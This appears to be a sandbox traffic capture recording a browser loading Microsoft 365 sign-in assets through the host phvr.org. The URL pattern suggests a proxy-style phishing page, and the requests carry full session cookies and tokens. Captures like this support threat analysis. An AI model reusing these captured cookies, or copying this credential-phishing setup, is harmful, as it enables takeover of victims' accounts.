2024-07-03 21:50:43 UTC	1406	IN	HTTP/1.1 200 OK Date: Wed, 03 Jul 2024 21:50:43 GMT Content-Type: application/x-javascript content-length: 109863 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Thu, 26 Jan 2023 00:32:54 GMT ETag: 0x8DAFF34DD9DC630 x-ms-request-id: 694be260-001e-0019-5cb1-cb43ed000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240703T215043Z-16578db7b5c8wzn8msedc6trzs00000007ug000000007gd1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2024-07-03 21:50:43 UTC	14978	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 e4 bd 6b 7b db c8 91 30 fa 7d 7f 05 c5 93 68 00 13 a4 48 ea 6a 92 10 d7 e3 f1 64 bd c7 63 fb b5 3d d9 37 af cc f8 81 c8 a6 84 31 04 30 b8 d8 56 44 ee 6f 3f 55 d5 77 a0 49 c9 1e 27 9b 73 4e 9e 8c 45 34 1a 7d a9 ae ae ae aa ae cb c1 a3 bd 7f 6b 3d 6a 75 1f fe bf d6 db 77 4f de bc 6b bd fa b9 f5 ee 3f 9e bf f9 a9 f5 1a 9e fe d2 7a f9 ea dd f3 a7 cf 1e de 0e 76 8a ff bd bb 8e 8b d6 32 4e 58 0b fe 5e 46 05 5b b4 b2 b4 95 e5 ad 38 9d 67 f9 2a cb a3 92 15 ad 1b f8 37 8f a3 a4 b5 cc b3 9b 56 79 cd 5a ab 3c fb 8d cd cb a2 95 c4 45 09 1f 5d b2 24 fb dc f2 a0 b9 7c d1 7a 1d e5 e5 6d eb f9 6b bf 07 ed 33 68 2d be 8a 53 f8 7a 9e ad 6e e1 f7 75 d9 4a b3 32 9e b3 56 94 2e a8 b5 04 1e d2 82 b5 aa 74 c1 f2 d6 e7 eb 78 7e dd fa 25 9e e7 59 91 Data Ascii: k{0}hHjdc=710VDo?UwI'sNE4}k=juwOk?zv2NX^F[8g*7VyZ<E]$\|zmk3h-SznuJ2V.tx~%Y
2024-07-03 21:50:43 UTC	1406	IN	Data Raw: c4 83 45 a5 d2 a7 c9 61 9f 24 3d 2b 31 6b 72 6b 95 a9 2b 79 ec f3 c8 d9 e7 d9 7a 78 d4 0f a8 77 d9 a9 7b 00 ca 16 4d 63 eb 5f 0c 4c cf 01 a3 b5 83 5d cd d6 d3 73 7a 32 c0 26 c8 e3 9b 29 ff e3 f9 e4 9e 2b 72 16 fc f5 7d d1 59 c3 7f 7f e0 69 0b 36 68 6a 2f 5f fe 44 99 1d ea 3e c1 22 b6 c1 58 6e 0e 32 31 06 09 af 13 b6 c3 b6 19 8a c7 74 f8 fb bb 3e 7d 8c 8b 6d 20 fc 48 83 3d 38 ff ce 43 1d e0 26 33 1c dc e9 ac 2c e9 84 24 af 02 6d 4b b1 f1 8d e4 b3 a9 07 6b ee 63 10 b7 c3 46 10 b7 b2 c7 13 2c fe 12 ad fe c4 83 02 66 3c ae fe 91 ef 78 13 18 d5 9f 66 69 81 a1 ab 29 9e da 99 df 7c a1 2a bf c4 ac a2 18 77 7b e0 1b 25 38 9e a3 2d a9 8c 71 00 c7 3c 68 db 71 5f 04 6d 3b 3e 39 f1 7b b4 ae 6f 59 09 84 06 bb 3d f5 7b d0 e1 0a 08 d8 8b b8 28 6b 61 bc 39 29 c7 a0 ce 44 Data Ascii: Ea$=+1krk+yzxw{Mc_L]sz2&)+r}Yi6hj/_D>"Xn21t>}m H=8C&3,$mKkcF,f<xfi)\|*w{%8-q<hq_m;>9{oY={(ka9)D
2024-07-03 21:50:43 UTC	9510	IN	Data Raw: 23 30 22 75 c1 a1 5b a0 67 5c a3 58 32 27 9a 62 c7 a1 cd 04 4a 6f 34 45 70 03 b3 9f b8 bb 44 67 b9 38 b0 3b 37 09 72 77 d0 9d 93 c7 5d ad 74 cb 27 62 b8 95 4f e1 cc ec 52 35 5a 41 ba 85 ae 58 30 9c 7a a4 44 c9 ad f6 53 1e c9 0b d9 b1 eb 4e c8 a4 8e e4 ba 86 5b 12 3a 6f 2d f6 c5 6d f2 c4 30 68 7d 23 11 e4 9e 9b 3f 92 16 d1 30 7e c9 4a 72 85 b5 29 df 30 5f 1a eb d9 6c 18 53 82 a5 60 c4 f4 88 e1 a4 79 f5 39 95 31 36 4c f7 9f da 08 80 a3 9a ba 59 be 74 46 4c b3 9b cc 37 3d 92 b8 1f ee 9d 10 a3 05 97 29 9e c4 3e 2e 6c de d3 d8 56 b4 50 23 73 d1 f4 3b b9 0b e5 c7 f5 6d ee f9 9b b1 01 46 c9 8c 23 77 85 a0 24 36 cb 28 53 7c 77 93 65 37 c5 fa c6 fb 2d 3c b6 f1 99 42 0b 5e d1 8d 33 ba 76 60 76 87 62 70 1d c2 5b b3 43 d5 28 26 75 c7 17 04 33 de 04 4e c5 54 84 4a a3 Data Ascii: #0"u[g\X2'bJo4EpDg8;7rw]t'bOR5ZAX0zDSN[:o-m0h}#?0~Jr)0_lS`y916LYtFL7=)>.lVP#s;mF#w$6(S\|we7-<B^3v`vbp[C(&u3NTJ
2024-07-03 21:50:43 UTC	6289	IN	Data Raw: cd 3d fb 73 db 36 d2 bf 7f 7f 85 cd 7a 1c 22 82 9f 79 34 21 c3 ea 1c 57 ed b4 13 c7 19 ab b9 cc 8d ac 78 68 99 b2 d9 c8 62 4a 52 76 12 4b f7 b7 df 3e 00 10 20 29 c5 c9 f5 66 be 1f 6c 52 20 9e 8b c5 02 fb c0 2e 05 2d d7 3f 0a ce 04 a9 97 98 f7 e2 02 bd 76 20 51 a7 df 80 eb 09 bf 8c c7 f4 64 d7 ed 4e 1e 4e 3a 98 4c 74 6a 41 c9 c9 75 5a d2 8b 62 c3 9c 32 2a ed 18 aa 77 d2 27 a6 8a a6 1a 75 30 c4 8e aa d8 64 91 cb 00 d7 48 ac 0a 8a a2 33 6b 9d a4 b9 b1 4f 56 31 db a3 db 8b a6 08 cb 43 4f cb f0 ed ea 22 cd ef d7 08 65 5d d2 c4 ec 3a 2e 3e b4 c8 c9 76 49 58 f9 55 a7 91 2b 02 7d d4 d7 fb 20 19 aa f5 1a e2 3b e6 6f f3 9f 87 2a a6 6c 02 67 2d f5 02 db 6e 3e 75 7f 99 e8 27 39 ee 85 4b e3 9d 3c 7f fc 37 45 45 82 dd 97 82 df 3c 7d fe e4 6b e1 3c ed 9d b9 4d 0b de a6 Data Ascii: =s6z"y4!WxhbJRvK> )flR .-?v QdNN:LtjAuZb2w'u0dH3kOV1CO"e]:.>vIXU+} ;olg-n>u'9K<7EE<}k<M

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49781	52.98.228.50	443	1456	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 21:50:43 UTC	693	OUT	GET /owa/prefetch.aspx HTTP/1.1 Host: outlook.office365.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://phvr.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-03 21:50:43 UTC	1902	IN	HTTP/1.1 200 OK Cache-Control: private, no-store Content-Length: 2745 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/10.0 request-id: de6ddf97-2245-3e24-b445-0450a8d271f3 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Alt-Svc: h3=":443";ma=2592000,h3-29=":443";ma=2592000 X-CalculatedFETarget: FR4P281CU021.internal.outlook.com X-BackEndHttpStatus: 200 Set-Cookie: ClientId=4936D77F168F4D15A2AFEC30C641A8C1; expires=Thu, 03-Jul-2025 21:50:43 GMT; path=/;SameSite=None; secure Set-Cookie: ClientId=4936D77F168F4D15A2AFEC30C641A8C1; expires=Thu, 03-Jul-2025 21:50:43 GMT; path=/;SameSite=None; secure Set-Cookie: OIDC=1; expires=Fri, 03-Jan-2025 21:50:43 GMT; path=/;SameSite=None; secure; HttpOnly Set-Cookie: OWAPF=v:15.20.7741.23&l:mouse; path=/; secure; HttpOnly X-CalculatedBETarget: FR6P281MB4032.DEUP281.PROD.OUTLOOK.COM X-BackEndHttpStatus: 200 X-RUM-Validated: 1 X-RUM-NotUpdateQueriedPath: 1 X-RUM-NotUpdateQueriedDbCopy: 1 X-Content-Type-Options: nosniff X-BeSku: WCS7 X-OWA-Version: 15.20.7741.17 X-OWA-DiagnosticsInfo: 2;0;0 X-BackEnd-Begin: 2024-07-03T21:50:43.373 X-BackEnd-End: 2024-07-03T21:50:43.373 X-DiagInfo: FR6P281MB4032 X-BEServer: FR6P281MB4032 X-UA-Compatible: IE=EmulateIE7 X-Proxy-RoutingCorrectness: 1 X-Proxy-BackendServerStatus: 200 X-FEProxyInfo: FR3P281CA0200.DEUP281.PROD.OUTLOOK.COM X-FEEFZInfo: HHN X-FEServer: FR4P281CA0312 Report-To: {"group":"NelOfficeUpload1","max_age":7200,"endpoints":[{"url":"https://exo.nel.measure.office.net/api/report?TenantId=&FrontEnd=Cafe&DestinationEndpoint=HHN&RemoteIP=8.46.123.0&Environment=MT"}],"include_subdomains":true} NEL: {"report_to":"NelOfficeUpload1","max_age":7200,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} X-FirstHopCafeEFZ: HHN X-FEServer: FR3P281CA0200 Date: Wed, 03 Jul 2024 21:50:42 GMT Connection: close
2024-07-03 21:50:43 UTC	2745	IN	Data Raw: 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 72 65 66 65 74 63 68 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 3e 0d 0a 0d 0a 20 20 20 20 0d 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 6f 66 66 69 63 65 33 36 35 69 63 6f 6e 73 27 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 72 63 3a 20 75 72 6c 28 27 68 74 74 70 73 3a 2f Data Ascii: <!DOCTYPE html><html><head> <title>Prefetch</title> <meta http-equiv="x-ua-compatible" content="IE=Edge"> <style> @font-face { font-family: 'office365icons'; src: url('https:/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49783	185.143.223.70	443	1456	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 21:50:43 UTC	2757	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1 Host: phvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://phvr.org/?y6i9iw4gm=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9ZDZhZjgwMWItNDI2My0yODUwLWU4NDItM2Y3ZmVlMDdmN2QwJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODU1NjQwMjM3NzA3NDIxOC4wZjU1ZmU3ZC1iZWM4LTRlNDctODVjNy05Yzk3ZTY3YjE4OTAmc3RhdGU9RGNzeEZvQWdEQVJSME9keElnRVROaHhITUxTV1hsLUtQOTNFRU1LLWJFdmtsWUI2bVdvVkxoZkFrSkx0NUtrNkhROTFIMGJpQWpJZG9EWWF2S0puYXh6WGU2VDN1OU1Q&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=jf7YXdIMEkHJ; qPdM.sig=JzExGlp4bLAx1cNMyhVmMjKQCYw; ClientId=8DD7D1DBE24E4DA7A257935551B595D8; OIDC=1; OpenIdConnect.nonce.v3.r4de45POxQ3HJYiJGcLMQCWXDACqZRwI8GYEzI6XDak=638556402377074218.0f55fe7d-bec8-4e47-85c7-9c97e67b1890; X-OWA-RedirectHistory=ArLym14BKqa8LKqb3Ag; esctx-3irMWGpLqqA=AQABCQEAAAApTwJmzXqdR4BN2miheQMYuCbasr6VflTvI7fdGUB8JXyH5-fw56k8A20F-Yv3Z_-TJtNxn04gZWTQOhb-abVo4kaTpyjZH-6gAsGiY4Yn9Zz-EfNhWeRCo8Btrsa_WLU9m1qolxBTOGg9FeJRC5CFUQq4uzgbcumI-A1nZua-LyAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ASkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAAApTwJmzXqdR4BN2miheQMYJJawS2XnqoM9dVpUOBTer35wMkYYd4wNnB5aJVoq4OFJ1D4MyfoygEID6e-bHijZ_nlkC4gL67pjZSnQZ2wSVemaqPCSUQemO5pmi1PRjXwgAA; esctx=PAQABBwEAAAApTwJmzXqdR4BN2miheQMYHV7FYJ0tG9Z8bti6bgPk_xWhq7TQsk8_lTLhQ2H6JS98w_bDYQekYbb7T_l5DqC27WqESSf6nBU0TkqytuB5YXANBz8LImiT9XUjHi6BPSaWrN7NgpyDdRCn32ARjt6Mczu94SsXVINMR2MZbZwGelA9yAaq17V7jUSoOcZfTzQgAA; esctx-mV4bw3rMXwY=AQABCQE [TRUNCATED]
2024-07-03 21:50:44 UTC	738	IN	HTTP/1.1 200 OK Date: Wed, 03 Jul 2024 21:50:43 GMT Content-Type: image/x-icon Content-Length: 17174 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Sun, 18 Oct 2020 03:02:03 GMT ETag: 0x8D8731230C851A6 x-ms-request-id: f5b60db7-a01e-0040-4638-ca368f000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240703T215043Z-16578db7b5chznnbtbtdpy20v000000006z00000000008we x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-07-03 21:50:44 UTC	15646	IN	Data Raw: 00 00 01 00 06 00 80 80 10 00 00 00 00 00 68 28 00 00 66 00 00 00 48 48 10 00 00 00 00 00 e8 0d 00 00 ce 28 00 00 30 30 10 00 00 00 00 00 68 06 00 00 b6 36 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 1e 3d 00 00 18 18 10 00 00 00 00 00 e8 01 00 00 06 40 00 00 10 10 10 00 00 00 00 00 28 01 00 00 ee 41 00 00 28 00 00 00 80 00 00 00 00 01 00 00 01 00 04 00 00 00 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 Data Ascii: h(fHH(00h6 =@(A(("P"""""""""""""""""""""""""""""" 333333333333333
2024-07-03 21:50:44 UTC	1528	IN	Data Raw: 28 00 00 00 20 00 00 00 40 00 00 00 01 00 04 00 00 00 00 00 80 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 bc 7b 00 1f 4c f9 00 22 50 f2 00 f7 a6 00 00 00 ba 7f 00 f3 a6 00 00 1e 4e f6 00 23 4e f4 00 f3 a4 00 00 00 bc 7d 00 00 ba 7d 00 00 00 00 00 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 Data Ascii: ( @{L"PN#N}}"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49782	185.143.223.70	443	1456	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 21:50:43 UTC	2771	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg HTTP/1.1 Host: phvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://phvr.org/?y6i9iw4gm=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9ZDZhZjgwMWItNDI2My0yODUwLWU4NDItM2Y3ZmVlMDdmN2QwJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODU1NjQwMjM3NzA3NDIxOC4wZjU1ZmU3ZC1iZWM4LTRlNDctODVjNy05Yzk3ZTY3YjE4OTAmc3RhdGU9RGNzeEZvQWdEQVJSME9keElnRVROaHhITUxTV1hsLUtQOTNFRU1LLWJFdmtsWUI2bVdvVkxoZkFrSkx0NUtrNkhROTFIMGJpQWpJZG9EWWF2S0puYXh6WGU2VDN1OU1Q&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=jf7YXdIMEkHJ; qPdM.sig=JzExGlp4bLAx1cNMyhVmMjKQCYw; ClientId=8DD7D1DBE24E4DA7A257935551B595D8; OIDC=1; OpenIdConnect.nonce.v3.r4de45POxQ3HJYiJGcLMQCWXDACqZRwI8GYEzI6XDak=638556402377074218.0f55fe7d-bec8-4e47-85c7-9c97e67b1890; X-OWA-RedirectHistory=ArLym14BKqa8LKqb3Ag; esctx-3irMWGpLqqA=AQABCQEAAAApTwJmzXqdR4BN2miheQMYuCbasr6VflTvI7fdGUB8JXyH5-fw56k8A20F-Yv3Z_-TJtNxn04gZWTQOhb-abVo4kaTpyjZH-6gAsGiY4Yn9Zz-EfNhWeRCo8Btrsa_WLU9m1qolxBTOGg9FeJRC5CFUQq4uzgbcumI-A1nZua-LyAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ASkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAAApTwJmzXqdR4BN2miheQMYJJawS2XnqoM9dVpUOBTer35wMkYYd4wNnB5aJVoq4OFJ1D4MyfoygEID6e-bHijZ_nlkC4gL67pjZSnQZ2wSVemaqPCSUQemO5pmi1PRjXwgAA; esctx=PAQABBwEAAAApTwJmzXqdR4BN2miheQMYHV7FYJ0tG9Z8bti6bgPk_xWhq7TQsk8_lTLhQ2H6JS98w_bDYQekYbb7T_l5DqC27WqESSf6nBU0TkqytuB5YXANBz8LImiT9XUjHi6BPSaWrN7NgpyDdRCn32ARjt6Mczu94SsXVINMR2MZbZwGelA9yAaq17V7jUSoOcZfTzQgAA; esctx-mV4bw3rMXwY=AQABCQE [TRUNCATED]
2024-07-03 21:50:44 UTC	779	IN	HTTP/1.1 200 OK Date: Wed, 03 Jul 2024 21:50:44 GMT Content-Type: image/svg+xml Content-Length: 621 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Tue, 10 Nov 2020 03:41:24 GMT ETag: 0x8D8852A7FA6B761 x-ms-request-id: a97179ab-301e-0029-2f93-cd07be000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240703T215043Z-16578db7b5c4jcq2fuv1x5z7mc000000075g000000006b4v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-07-03 21:50:44 UTC	621	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 7d 55 4d 6f 22 31 0c fd 2b a3 d9 ab 93 c9 f7 47 3b 20 cd 9e 38 6c af 1c b8 4d 0b 05 24 0a 55 19 41 57 ab fe f7 b5 93 a0 55 61 58 0d d8 60 27 ef 3d db 09 b4 c7 d3 ba fa 7c db ed 8f 93 7a 33 0c ef 0f 4d 73 3e 9f f9 59 f3 c3 c7 ba 51 42 88 06 57 d4 d5 79 bb 1c 36 93 da 84 ba da ac b6 eb cd 90 3f 9f b6 ab f3 cf c3 e7 a4 16 95 a8 4c c0 57 3d 6d 97 ab d7 e3 b4 3d 0e bf 77 ab 29 ef ff bc 6e 77 bb 87 fd 61 bf 7a fc e2 cf f9 db 0f 23 e8 79 fc 6a 9b bc ac 6d f2 a6 8f d5 cb 50 bd ec fa 23 ca e9 ef b1 36 d3 f6 bd 1f 36 97 75 cf 75 b5 9c d4 4f 46 80 56 dc fa 30 37 62 a6 d5 5c bb 99 0a 73 ad 66 ca cc 55 e0 de b9 4e 0a ee 42 84 e2 04 3e 12 64 04 2d 7a 0c a5 78 89 32 cb ad f1 4c 72 0b 52 72 29 dc c5 e5 ac e2 4a 46 cc 7a 19 3b 4c 68 af a1 b8 Data Ascii: }UMo"1+G; 8lM$UAWUaX`'=\|z3Ms>YQBWy6?LW=m=w)nwaz#yjmP#66uuOFV07b\sfUNB>d-zx2LrRr)JFz;Lh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49784	185.143.223.70	443	1456	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 21:50:43 UTC	2780	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/appbackgrounds/49-small_e58aafc980614a9cd7796bea7b5ea8f0.jpg HTTP/1.1 Host: phvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://phvr.org/?y6i9iw4gm=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9ZDZhZjgwMWItNDI2My0yODUwLWU4NDItM2Y3ZmVlMDdmN2QwJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODU1NjQwMjM3NzA3NDIxOC4wZjU1ZmU3ZC1iZWM4LTRlNDctODVjNy05Yzk3ZTY3YjE4OTAmc3RhdGU9RGNzeEZvQWdEQVJSME9keElnRVROaHhITUxTV1hsLUtQOTNFRU1LLWJFdmtsWUI2bVdvVkxoZkFrSkx0NUtrNkhROTFIMGJpQWpJZG9EWWF2S0puYXh6WGU2VDN1OU1Q&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=jf7YXdIMEkHJ; qPdM.sig=JzExGlp4bLAx1cNMyhVmMjKQCYw; ClientId=8DD7D1DBE24E4DA7A257935551B595D8; OIDC=1; 